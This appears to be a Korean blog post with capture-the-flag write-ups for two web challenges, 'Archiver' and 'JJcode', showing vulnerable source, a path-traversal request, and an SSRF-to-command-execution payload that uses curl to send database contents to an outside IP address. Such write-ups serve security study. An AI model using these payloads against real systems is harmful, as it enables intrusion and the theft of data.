Archiver


문제에서 소스코드를 제공해 준다.


코드를 쭉 분석해보면 파일 다운로드 취약점이 터지는 부분이 보인다.


def viewArchive():

    url    = request.form['url']

    T      = request.form['T']

    hashed = util.hashing(url)


    fd = open('%s/%s/%s' % (app.config['path'], hashed, str(T)), 'r')

    data = unicode(fd.read())

    fd.close()

    return render_template('view.html', data=data)


T 파라미터에 ../로 상위 경로 파일을 읽어주면 된다.


url=http%3A%2F%2Fwww.naver.com&T=../../../flag&btn=Save


Flag = TRUST{Easy_Local_file_traversal_N3xt_t1me_i_1l_us3_DB..:(}



JJcode


문제에 들어가서 페이지 돌아다니다보면 css파일을 다운로드할때 파일 다운로드 취약점이 터진다. 이걸로 전체 소스를 쭉 가져와서 보면 util.php 라는 파일에서 취약점이 보인다.


util.php


<?php

    function checkLogin_(){

        if(isset($_SESSION["username"])){

            return 1;

        }else{

            return 0;

        }

    }


    function checkLogin(){

        if(!checkLogin_()){

            die("Plz login");

        }

    }


    function hashing($data){

        return hash("sha256", "myst4rt_S4lt".$data."y0ur_3nd_sa1t");

    }


    function render($data){

        $data = preg_replace('/</i', '&lt;', $data);

        $data = preg_replace('/>/i', '&gt;', $data);

        $data = preg_replace('/\"/i', '&quot;', $data);

        $data = preg_replace('/javascript/i', '', $data);


        $data = preg_replace('/\[bold\](.*)\[\/bold\]/i', '<b>${1}</b>', $data);

        $data = preg_replace('/\[italic\](.*)\[\/italic\]/i', '<i>${1}</i>', $data);

        $data = preg_replace('/\[under\](.*)\[\/under\]/i', '<u>${1}</u>', $data);

        $data = preg_replace('/\[delete\](.*)\[\/delete\]/i', '<s>${1}</s>', $data);

        $data = preg_replace('/\[quote\](.*)\[\/quote\]/i', '<blockquote><p>${1}</p></blockquote>', $data);

        $data = preg_replace('/\[img\](.*)\[\/img\]/i', '<img src="${1}">', $data);


        $data = preg_replace('/\[youtube\](https?:\/\/www.youtube.com\/embed\/.*)\[\/youtube\]/i', '<iframe width="560" height="315" src="${1}" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>', $data);


        $data = preg_replace('/\[enter\]/i', '<br>', $data);


        $data = preg_replace('/\[color=(\w{0,4})\](.*)\[\/color\]/i', '<span style="color:${1};">${2}</span>', $data);

        $data = preg_replace('/\[size=(\d{0,4})\](.*)\[\/size\]/i', '<span style="font-size:${1}px;">${2}</span>', $data);


        preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);

        

        for($i = 0; $i < count($res[0]); $i++){

            $replace = $res[0][$i];

    $url = $res[1][$i];

    $curl = curl_init();

    

    curl_setopt($curl, CURLOPT_URL, $url);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

    

    $html = curl_exec($curl);


    if(curl_error($curl))

                $html = '';

    

    curl_close($curl);


            $desc = preg_match('/<meta property="og:description" content="(.*)"\/?>/i', $html, $match) ? $match[1] : $url;


            $title = preg_match('/\<title\>([^<>]*)<\/title\>/i', $html, $match) ? $match[1] : $url;

            if($title == $url){

                preg_match('/https?:\/\/(www|).([^.]*).*/i', $url, $title);

                $title = $title[2];

            }


            $img = preg_match('/<meta property="og:image" content="(.*)"\/?>/i', $html, $match) ? $match[1] : 'https://vignette.wikia.nocookie.net/ecole-oraliste-eslvocabulary/images/a/a1/None_flowers.jpg/revision/latest?cb=20150321170046';

            

            $curl = curl_init();

            curl_setopt($curl, CURLOPT_URL, $img);

            curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

            curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);

            curl_setopt($curl, CURLOPT_HEADER, 0);

            curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

            $img_data = base64_encode(curl_exec($curl));

            if(curl_error($curl))

                $img_data = '';

            

            curl_close($curl);

            

            $tag = "<div class=\"box\" onclick=\"window.open('${url}')\"><div class=\"content\"><img style=\"float:left;\" src=\"data:image/png;base64, ${img_data}\"><div class=\"text\"><h2>${title}</h2><span style=\"font-size:14px\">${desc}</span></div></div></div>";


            $data = str_replace($replace, $tag,$data);

        }

        return $data;

    }

?>


해당 파일의 render 함수는 내가 작성한 게시글을 읽을 때 게시글 내용을 인자로 받아 호출되는데 해당 함수 내에서 아래 코드의 url 부분에 게시글 내용을 삽입시킬 수 있어 ssrf가 터진다.

preg_match_all('/\[link\](https?:\/\/[^\[\]]*)\[\/link\]/', $data, $res);

      

for($i = 0; $i < count($res[0]); $i++){

            $replace = $res[0][$i];

    $url = $res[1][$i];

    $curl = curl_init();


curl_setopt($curl, CURLOPT_URL, $url);

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);


이걸로 뭘 할수 있는지 이제 생각해보면 되는데 게싱으로 admin.php 페이지를 발견했고 해당 페이지 코드는 아래와 같았다.


admin.php


<?php

    if(in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1'))){

        system($_GET['cmd']);

    }

?>


이제 ssrf로 admin.php 페이지를 요청해서 system함수를 사용해주면 된다.


명령어 실행결과를 nc로 받아주면되고 플래그가 DB에 있어서 디비에서 뽑아주면 된다.


Payload

[link]http://127.0.0.1/admin.php?cmd=curl%20http://125.180.217.107:9090%20-d%20%22a=`php%20-r%20%22var_dump(mysqli_fetch_assoc(mysqli_query(mysqli_connect('localhost','jjcode','jjcode1234','jjcode'),'select%20*%20from%20fl4g_here_hahahaha.fl4g_b0x_box')));%22`%22[/link]


Flag = flag{hel1o_fl4g_y0u_g3t_1t~XD}




'CTF > Writeup' 카테고리의 다른 글

Evlz CTF 2019 Smol-Big  (0) 2019.02.20
Codegate CTF 2019 KingMaker  (0) 2019.02.16
Evlz CTF 2019 FindMe  (0) 2019.02.06
Evlz CTF 2019 WeTheUsers  (0) 2019.02.04
NCSC CTF 2019 Web Wrietup  (0) 2019.02.04
블로그 이미지

JeonYoungSin

메모 기록용 공간

,